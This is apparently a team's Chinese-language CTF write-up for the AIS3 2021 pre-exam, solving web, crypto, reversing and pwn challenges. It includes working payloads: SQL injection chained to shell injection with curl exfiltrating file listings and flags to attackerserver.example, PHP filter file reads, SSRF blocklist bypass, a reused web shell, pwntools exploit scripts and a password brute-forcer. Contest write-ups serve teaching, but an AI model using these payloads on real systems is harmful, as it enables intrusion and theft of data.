# AIS3 2021 Pre-Exam Write-up
* Team name: mecn
### ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
`Business logic vulnerability`
`http://quiz.ais3.org:8002/`
`Server: nginx/1.17.10`
網站提供了 Flask 的程式碼,其登入認證機制有下列漏洞可以利用:
1. Python 的 `json.load()` 遇到同名屬性時,後出現者會覆蓋前出現者
2. `json.load()` 會將 `null` 解讀為 `None`
3. `dict` 的 `get()` method 在 key 不存在時會回傳 `None`
```python
username = 'nobody'
password = '", "password": null, "showflag": true, "dummy":"'
# AIS3{/r/badUIbattles?!?!}
```
### HaaS
`SSRF`
`http://quiz.ais3.org:7122/`
`Server: Werkzeug/2.0.0 Python/3.9.4`
如果`url`回應的 HTTP Status Code(`actual`) 等於POST的`status`參數 (`expected`),
HaaS 只會簡單回應`"Alive"`;
如果`actual`不等於`expected`,
HaaS 則會在 JSON 中附上`detail`並將 response 放在`text`。
`localhost`和`127.0.0.1`都被列在黑名單中,但`127.1.2.3`等等就沒被擋掉。
`status`在HTML裡是hidden input,可以用Web Developer Tool將其改成`200`以外的值。
POST Entity Body: `url=http%3A%2F%2F127.0.0.2%2F&status=300`
`AIS3{V3rY_v3rY_V3ry_345Y_55rF}`
### 【5/22 重要公告】
`Injection`
`http://quiz.ais3.org:8001/`
`Server: Apache/2.4.38 (Debian)`
觀察 API 網址,發現`module`參數中有斜線`/`。嘗試不同網址,推測是`include`另一個檔案:
```
http://quiz.ais3.org:8001/?module=./modules/api
http://quiz.ais3.org:8001/?module=modules/../modules/api
http://quiz.ais3.org:8001/?module=/var/www/html/modules/api
http://quiz.ais3.org:8001/index.php?module=file:///var/www/html/modules/api
http://quiz.ais3.org:8001/?module=index (500)
http://quiz.ais3.org:8001/modules/ (403)
http://quiz.ais3.org:8001/modules/api.php (500)
```
參考 [Exploiting PHP File Inclusion](https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/),可以利用`require`讀取任意PHP檔的Source Code:
```
http://quiz.ais3.org:8001/index.php?module=
php://filter/convert.base64-encode/resource=modules/api
```
閱讀 Source Code,發現`modules/api.php`中有 SQL Indection 與 Shell Injection 可以利用:
```php
$data = $db->querySingle("SELECT name, host, port FROM challenges
WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"),
"succeeded") !== FALSE;
echo json_encode($data);
```
可以用 SQL 的`UNION SELECT`來覆寫`$data['host']`與`$data['port']`:
```
id=9 UNION SELECT 'WCM','quiz.ais3.org',8001
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
9%20UNION%20SELECT%20%27WCM%27,%27quiz.ais3.org%27,8001
```
Shell裡`${IFS}`的預設值是空白字元,可以用來繞過`str_replace()`,執行任意指令:
```
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
9%20UNION%20SELECT%20%27WCM%27,%22
quiz.ais3.org%27\${IFS}8001;echo${IFS}%27succeeded
%22,8001
```
用`curl`將`ls / -a`的結果發送到自己架設的 HTTP Server 上:
```
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
9%20UNION%20SELECT%20%27WCM%27,%22
quiz.ais3.org%27${IFS}8001;
curl${IFS}http://attackerserver.example/?
`ls${IFS}/${IFS}-a|base64${IFS}-w${IFS}0`;
echo${IFS}%27succeeded
%22,8001
```
找到檔案`flag_81c015863174cd0c14034cc60767c7f5`,`cat`其內容:
```
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
9%20UNION%20SELECT%20%27WCM%27,%22
quiz.ais3.org%27${IFS}8001;
curl${IFS}http://attackerserver.example/?
`cat${IFS}/flag_81c015863174cd0c14034cc60767c7f5|base64${IFS}-w${IFS}0`;
echo${IFS}%27succeeded
%22,8001
QUlTM3tvMWRfc2tldzFfdzNiX3RyMWNrc19jbzExZWN0MTBuXzpEfQo=
AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}
```
### Microchip
`microchip.cpp`是套用`python.h`後以 Python 語法撰寫的程式。
移除行尾的`){`和`;}`,並將`꞉`(U+A789) 取代為`:` (U+003A) 後,即為 Python Script。
`track()`是每4字元為一個 Block、附 Padding 的 Vigenère cipher。
已知第一個 Block 的明文為`AIS3`,則可直接回推出`keys`。
```python
def decrypt(plain, cipher):
keys = list()
keys.append((ord(cipher[3]) - ord(plain[0]) + 96) % 96)
keys.append((ord(cipher[2]) - ord(plain[1]) + 96) % 96)
keys.append((ord(cipher[1]) - ord(plain[2]) + 96) % 96)
keys.append((ord(cipher[0]) - ord(plain[3]) + 96) % 96)
id = 0
for i in range(4) :
id *= 96
id += keys[3-i]
print("key =", id) # id == 9653253
result = ""
for i in range(0, len(cipher), 4):
nums = list()
for j in range(4) :
num = ord(cipher[i + (3-j)]) - 32
num = (num - keys[j] + 96) % 96
nums.append(num + 32)
result += chr(nums[0])
result += chr(nums[1])
result += chr(nums[2])
result += chr(nums[3])
result = result[:-int(result[-1])]
return result
golden = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
print("flag is:", decrypt("AIS3", golden))
# AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
```
### ReSident evil villAge
用戶可以對`bytes_to_long(b'Ethan Winters')'`以外、小於`n`的任意明文簽章。
利用 $a^d\times b^d=(a\times b)^d\pmod{n}$ 的性質,
將合數`bytes_to_long(b'Ethan Winters')'`作因式分解,各自簽章後再相乘起來,
即可得到`Ethan Winters`的簽章。
```python
from pwn import *
from Crypto.Util.number import *
from sympy.ntheory import factorint
from binascii import hexlify
p = remote('quiz.ais3.org', 42069)
p.recvuntil('n = ')
n = int(p.recvline(keepends=False).decode())
p.recvuntil('e = ')
e = int(p.recvline(keepends=False).decode())
p.recvuntil('3) exit\n')
golden = b'Ethan Winters'
factors = factorint(bytes_to_long(golden))
# 5502769663009776377079720669811 == 163 * 33759323085949548325642458097
sigs = {}
for factor in factors.keys():
p.sendline('1')
p.recvuntil('Name (in hex): ')
p.sendline(hexlify(long_to_bytes(factor)))
p.recvuntil('Signature: ')
sigs[factor] = int(p.recvline(keepends=False).decode())
p.recvuntil('3) exit\n')
sig = 1
for factor in factors.items():
for _ in range(factor[1]):
sig *= sigs[factor[0]]
sig %= n
print(sig)
p.sendline('2')
p.recvuntil('Signature: ')
p.sendline(str(sig))
print(p.recvline().decode())
p.recvuntil('3) exit\n')
p.sendline('3')
p.close()
# AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
```
### Republic of South Africa
將`keygen()`的參數`digits`改小為`7`,
發現碰撞模擬的結果`count`會精確等於`3141592`,是圓周率取`7`位數字並無條件捨去。
猜測執行`keygen(153)`時,`count`會精確等於圓周率取`153`位數字並無條件捨去。
知道`count == p + q`及`n == p * q`,便可以解`q - p = (count**2-n*4) ** 0.5`。
```python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2
gmpy2.get_context().precision = 1024
def keygen(digits):
count = 3141592653589793238462643383279502884197169399375105820974944592
3078164062862089986280348253421170679821480865132823066470938446
0955058223172535940812848
assert(10**(digits-1) <= count < 10**digits)
n = 2366227031150360252921146262866397337765103505522133718654765966
6520360329842954292759496973737109678655075242892199643594552737
0983933085995930568283937733276398096445706184727813385858025149
3981238799952316460602566237930014315910323903986283315203419553
5186138249963826772564309026532268561022599227047
print('Lbound', count//3)
print('Rbound', count//2)
q_p = int(gmpy2.exp(gmpy2.log(count**2-n*4)/2))
assert(q_p**2 == count**2-n*4)
q = (count + q_p) // 2
p = count - q
assert(isPrime(p) and isPrime(q) and p*q == n)
return p, q
p, q = keygen(153)
n = p*q
e = 65537
d = inverse(e, (p-1)*(q-1))
c = 1145861542753625269806564358670685051505508043234389381839861001
0478579108516179388166781637371605857508073447120074461777733767
8243306626103301211742032472728606279221717932348186037287932938
4771327804999605875452715915825108399593360033548239402409566641
1743953262490304176144151437205651312338816540536
print('m =', long_to_bytes(pow(c, d, n)).decode())
# AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
```
### Microchart
`RNG`的 initial state 即為 flag,`recurrence`是未知的 64 Bytes 參數。
`get_byte()`的輸出是`state`與`recurrence`的內積`mod 256`,也是`state`的下一個`byte`。
亦即一個 random sequence 的前 64 bytes 正是產生第 65 個 byte 時的`state`。
可以解線性方程,從 random sequence 反推`recurrence`:
$$\begin{bmatrix}
s_0&s_1&...&s_{63}\\s_1&s_2&...&s_{64}\\
\vdots&\vdots&\ddots&\vdots\\s_{1553}&s_{1554}&...&s_{1616}
\end{bmatrix}\begin{bmatrix}
r_0\\r_1\\\vdots\\r_{63}\\
\end{bmatrix}=\begin{bmatrix}
s_{64}\\s_{65}\\\vdots\\s_{1617}\\
\end{bmatrix}\pmod{256}$$
其中一種可能的策略是以 $x=A^{-1}b$ 解 $Ax=b$。
`numpy.linalg.inv()`可以快速解64階方陣的 inverse,卻不是 modular inverse。
`sympy.Matrix().inv_mod()`能解64階方陣的 modular inverse,卻不能在合理時間內解出。
因此改實做輾轉相除法與高斯消去法,從 random sequence 中取 200 條等式解`recurrence`:
```python
input_file = open('input.txt', 'r')
data_file = open('data.txt', 'r', newline='\r\n')
output_file = open('microchart.osu', 'r')
input_file.readline(); input_file.readline() # bpm offset
notes_lines = output_file.readlines()[len(data_file.readlines()):]
rand_seq = list(map(lambda line: int(line.split(',')[0]) // 2, notes_lines))
pool = list(map(lambda i: rand_seq[i:i+65], list(range(len(rand_seq)-65))))
pool = pool[:200]
def euclidean(A, B, t):
assert 0 <= t < len(A) == len(B)
while A[t]>0 and B[t]>0:
if A[t] < B[t]:
C, B = B, A; A = C
q = A[t] // B[t]
for i in range(len(A)):
A[i] = (A[i] - q * B[i]) % 256
if A[t] == 0:
C, B = B, A; A = C
return A, B
for t in range(64):
for i in range(len(pool)):
if sum(pool[i][:t]) != 0: continue
print(t, i, end=" ", flush=True)
for j in range(i+1, len(pool)):
if sum(pool[j][:t]) != 0 or sum(pool[j]) == 0: continue
pool[i], pool[j] = euclidean(pool[i], pool[j], t)
print()
pool = list(filter(lambda x: sum(x)>0, pool))
assert(len(pool) == 64)
for t in range(63, -1, -1):
i = len(pool)-64+t
assert(sum(pool[i][:t]) == 0 and pool[i][t] == 1)
for j in range(i-1, len(pool)-1-64, -1):
q = pool[j][t]
for k in range(len(pool[j])):
pool[j][k] = (pool[j][k] - q * pool[i][k]) % 256
rec = list(map(lambda x: x[64], pool))
assert(rec[0] % 2 == 1)
```
只要 $gcd(r_0,256)=1$,就可以從`state`逆推回 flag:
$$
s_0 = r_0^{-1}(s_{64}-s_{63}r_{63}-s_{62}r_{62}-...-s_1r_1)\pmod{256}
$$
```python
from Crypto.Util.number import inverse
rec = \
[73, 172, 73, 31, 88, 236, 228, 92, 47, 98, 103, 55, 88, 107, 199, 30,
81, 113, 96, 13, 240, 75, 148, 3, 38, 223, 191, 236, 94, 32, 200, 143,
59, 68, 83, 158, 184, 142, 30, 21, 32, 85, 104, 112, 91, 89, 112, 209,
174, 245, 152, 237, 118, 132, 210, 113, 168, 128, 80, 65, 68, 33, 92, 91]
def chk65(L):
global rec
assert(len(L) == 65)
byte = 0
for i in range(64):
byte = (byte + L[i] * rec[i]) % 256
assert(byte == L[64])
for t in range(len(rand_seq)-65):
chk65(rand_seq[t:t+65])
state = rand_seq[0:64]
for _ in range(64):
byte = state[63]
for i in range(63):
byte = (byte - state[i] * rec[i+1]) % 256
state = [byte * inverse(rec[0],256) % 256] + state[:63]
print(''.join(map(chr,state)))
# AIS3{nooo_you_cant_just_break_my_microchip!_haha_math_goes_brrr}
```
### Microchess (Solved After End of Exam)
`digest()`的漏洞是直接把最後的`state`當作 hash 回傳,
因此可以在`message`的後方再接上任意數量的 block。
手動遊玩遊戲讓`game_str`的長度變成8的倍數(例如`1,2,8,11`或`10,18,24`),
再在後方接上`,1`改成玩家必勝遊戲。
```python
import myhash
hash = myhash.Hash()
game_str, digest = input().split(':')
assert(len(game_str) % 8 == 0 and len(digest) == 16)
hash.secret = int(digest, 16)
print(game_str+',1:' + hash.hexdigest(b',1\x00\x00\x00\x00\x00\x00'))
# AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0}
```
### Piano
在 Windows 使用`ildsam`反組譯`piano.dll`,得到 .NET中繼語言(IL)。
輸出 flag 的邏輯可以用下列 Python 程式碼表示:
```python
class Piano():
def __init__(self):
self.buttons = ['C', 'D', 'E', 'F', 'G', 'A', 'B',
'CSharp', 'DSharp', 'FSharp', 'GSharp', 'ASharp']
self.notes = [] # 7,7,10,10,11,11,10,9,9,3,3,8,8,7
def onClickHandler(self, e):
V_0 = e
self.notes.append(self.buttons.index(V_0))
if len(self.notes) != 14: return
if self.isValid():
print(self.nya())
self.notes.pop()
def isValid(self):
V_0 = [14,17,20,21,22,21,19,18,12, 6,11,16,15,14]
V_1 = [ 0,-3, 0,-1, 0, 1, 1, 0, 6, 0,-5, 0, 1, 0]
V_2 = 0
while V_2 < 14:
if self.notes[V_2] + self.notes[(V_2+1)%14] != V_0[V_2]:
return False
if self.notes[V_2] - self.notes[(V_2+1)%14] != V_1[V_2]:
return False
V_2 = V_2 + 1
return True
def nya(self):
V_0 = [70,78,89,57,112,60,125,96,103,104,50,109,87,115,112,54,
100,97,103,56,85,101,56,119,119,100,59,88,50,48,62,120,
84,58,100,86,74,92,54,96,60,117,119,122]
V_1 = []
V_2 = 0
while V_2 < len(V_0):
V_1.append(chr(V_0[V_2] ^ self.notes[V_2%len(self.notes)]))
V_2 = V_2 + 1
return ''.join(V_1)
piano = Piano()
for btn in ['CSharp','CSharp','GSharp','GSharp','ASharp','ASharp','GSharp',
'FSharp','FSharp','F','F','DSharp','DSharp','CSharp']:
piano.onClickHandler(btn)
# AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}
```
### 🐰 Peekora 🥒
使用`pickletools`反組譯`flag_checker.pkl`。
```python
import pickletools
with open('flag_checker.pkl', 'rb') as f:
peekora = f.read()
pickletools.dis(peekora, indentlevel=2, annotate=1)
f.close()
```
手動將其還原回Python Script。
```python
m0 = input('FLAG: ')
m1 = getattr
m2 = m1([exit, str], '__getitem__')
m2(m1(m0, 'startswith')('AIS3{'))()
m2(m1(m0, 'endswith')('}'))()
m2(m1(m1(m0, '__getitem__')(6), '__eq__')('A'))()
m2(m1(m1(m0, '__getitem__')(9), '__eq__')('j'))()
m3 = m1(m0, '__getitem__')(9)
m2(m1(m1(m0, '__getitem__')(11), '__eq__')('p'))()
m2(m1(m1(m0, '__getitem__')(14), '__eq__')(m3))()
m4 = m1(m0, '__getitem__')(1)
m2(m1(m1(m0, '__getitem__')(5), '__eq__')('d'))()
m2(m1(m1(m0, '__getitem__')(10), '__eq__')('z'))()
m2(m1(m1(m0, '__getitem__')(12), '__eq__')('h'))()
m2(m1(m4, '__eq__')(m1(m0, '__getitem__')(13)))()
m2(m1(m1(m0, '__getitem__')(8), '__eq__')('w'))()
m2(m1(m1(m0, '__getitem__')(7), '__eq__')('m'))()
print('Correct!')
# AIS3{dAmwjzphIj}
```
### COLORS
`_0x3eb4`是個順序被打亂的大陣列,
`function(_0x496f79, _0x226742)`負責復原`_0x3eb4`的順序,
`_0x4ebd`,`_0x463eac`,`_0x1cd51f`,`_0x9fe181`,`_0x12b963`是從`_0x3eb4`中取值的函數。
將`_0x3eb4`中的字串、屬性、參數填回原位後,
發現`document['addEventListener']('keydown',_0x23e75c => {...})`
在接收到按鍵次序`↑ ↑ ↓ ↓ ← → ← → b a`後,會在`<body>`裡寫入一個`<div>`,
同時啟動往`document.getElementById('input')`輸入文字的功能。
`_0x1fdafa()`負責更新`document.getElementById('output')`的內容。
`_0xce93()`將`document.getElementById('input')`中的字串進行Base1024轉換,
並分拆成3位元的`c`、1位元的`r`、64取1的字元,透過`_0x9f530c()`轉換成`<span>`。
設計一個對應`_0xce93()`的 decoder,將起初畫面上的 "encoded" flag 解碼回 flag。
```javascript
const golden = [
"40B","20g","30i","51J","606","01\\","30w","401",
"30A","41j","40\\","411","30g","70u","30i","10k",
"30l","407","60x","50i","50X","10K","10I","40h",
"50X","00K","41i","51l","706","70f","40o","106",
"505","70K","11n","518","707","41B","50-","118",
"40w","31a","10r","41z","70K","30=","20=","10="
];
function outputDecode(output) {
output = output
.filter(item => item[2] !== '=')
.map(item => (
(parseInt(item[0], 10) << 6) +
(parseInt(item[1], 10) << 9) +
'AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}'
.indexOf(item[2])
)
.toString(2)
.padStart(10, '0')
)
.join('')
.match(/(.{8})/g)
.map(item => String.fromCharCode(parseInt(item, 2)))
.join('');
return output
}
console.log(outputDecode(golden))
// AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}
```
### Encrypted Lost Flag (Not Solved)
輸入字串會被轉換為6階方陣,與密文方陣相乘後,
期望得到字串`How do you inverse faster pow calc!!`。
矩陣乘法進行時,計算的結果還會被 diffuse:
```cpp
struct matrix {
ll length;
int* value;
};
matrix* ______Multipy(matrix *rdi, matrix *rsi) { // 0x1420
matrix* rbp = rdi;
matrix* r12 = rsi;
const int ebx = di->length;
matrix* r9 = Init______(ebx);
if (ebx != 0) {
int* r13 = r9->value;
int* r11 = rbp->value;
int* r10 = r12->value;
for (int r8d = 0; r8d != ebx; r8d++) {
for (int edi = 0; edi != ebx; edi++) {
for (int ecx = 0; ecx != ebx; ecx++) {
int* rsi = (int*)&r13[r9->length * r8d + ecx];
int eax = r11[rbp->length * r8d + edi]
* r10[r12->length * edi + ecx] + *rsi;
int edx = (((ll)eax * (ll)0x7F807F81) >> 0x27)
- (eax >> 0x1F) + (eax << 0x08);
*rsi = eax - edx;
}
}
}
}
return r9;
}
```
### Write Me
如果`addr`亂給會導致SIGSEGV;
就算`addr`給合法的地址,但`systemgot`的值已經在`gotplt.c:10`被洗掉了,無法拿到shell。
因此,必須把linker的地址`0x401050`寫回`0x404028`。
```python
from pwn import *
r = remote('quiz.ais3.org', 10102)
r.recvuntil('Address: ')
r.sendline(str(0x404028)) # 4210728
r.recvuntil("Value: ")
r.sendline(str(0x401050)) # 4198480
r.interactive()
# AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}
```
### Microcheese
遊戲選單的設計有bug,導致輸入`0`,`1`,`2`以外的選項可以略過自己的行動。
所以在第二回行動後反覆略過,直到電腦不得不恰留下一個pile從而必敗為止。
```
AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}
```
### Blind
`stdout`的 File Descriptor 被`close`了,可以呼叫`dup2(2, 1)`將`stderr`複製到 FD1。
[syscall(2) — Linux manual page](https://man7.org/linux/man-pages/man2/syscall.2.html)
查閱`<sys/syscall.h>`,得知`x86_64-linux-gnu`下`SYS_dup2`的值為`33`。
```python
from pwn import *
r = remote('quiz.ais3.org', 10101)
r.recvuntil('Input: [rax] [rdi] [rsi] [rdx]')
r.sendline('33 2 1 0') # syscall(SYS_dup2, 2, 1, 0);
print(r.recvuntil('}').decode())
r.close()
# AIS3{dupppppqqqqqub}
```
### [震撼彈] AIS3 官網疑遭駭!
觀察`release.pcap`中的封包,發現以下 Host 的存在:
```
10.153. 0. 1: DNS Server
10.153.11.112: Client
10.153.11.126: HTTP Server
```
在 Wireshark 中觀察 HTTP 封包。
`10.153.11.112`多次以`curl`存取`/index.php`,並以 Firefox 存取一次`/Index.php`:
```
10.153.11.126:8100
http.request_number && frame.number != 3149
GET /index.php?page=bHMgLg%3d HTTP/1.1
frame.number == 3149
GET /Index.php?page=%3DogLgMHb HTTP/1.1
Host: magic.ais3.org
frame.number == 3152
Index.php
index.php
```
`http://10.153.11.126:8100/`或`http://quiz.ais3.org:8100/`皆可連到一台空的`nginx`,
但 DNS record 中沒有`magic.ais3.org`,
因此必須自行在 HTTP header 中寫入 `Host: magic.ais3.org` 以連至其他 Server Block。
觀察發現`=ogLgMHb`的反轉`bHMgLgo=`是`ls .\n`的 Base64 編碼,
frame #3152 的 response 是`ls .\n`的 output。
執行指令,在根目錄下尋找 flag:
```
// "ls /\n"
GET /Index.php?page=%3D%3DwLgMHb HTTP/1.1
flag_c603222fc7a23ee4ae2d59c8eb2ba84d
// "cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d\n"
GET /Index.php?page=%3D%3DgCkRDOhJmMiVGOjlTNkJTZhRTZlNjMhdzYmJjMyMDM
2M2XnFGbm9CI0F2Y HTTP/1.1
AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}
```
### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
[[閒聊] 暮蟬悲鳴時 業 24](https://www.ptt.cc/bbs/C_Chat/M.1616086432.A.7EA.html)
每次連線都可以猜一次密碼。
密碼有13位數,只要輸錯一位就會馬上鎖起來,輸對了才能繼續輸入下一位數字。
最壞的情況下必須猜130次,可以手動猜或用pwntools自動猜。
```python
from pwn import *
password = ''
while len(password) < 13:
for digit in range(10):
p = process('TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org',
shell=True,
stdin=PTY)
guess = f'{password}{digit}'
p.send(guess)
r = p.recvuntil('🔒LOCKED🔒', timeout=5)
p.close()
print(guess)
if r == b'': # 如果鍵入密碼的5秒後仍未出現🔒LOCKED🔒
password = guess
break
print('password:', password) # 2025830455298
# AIS3{H1n4m1z4w4_Sh0k0gun}
```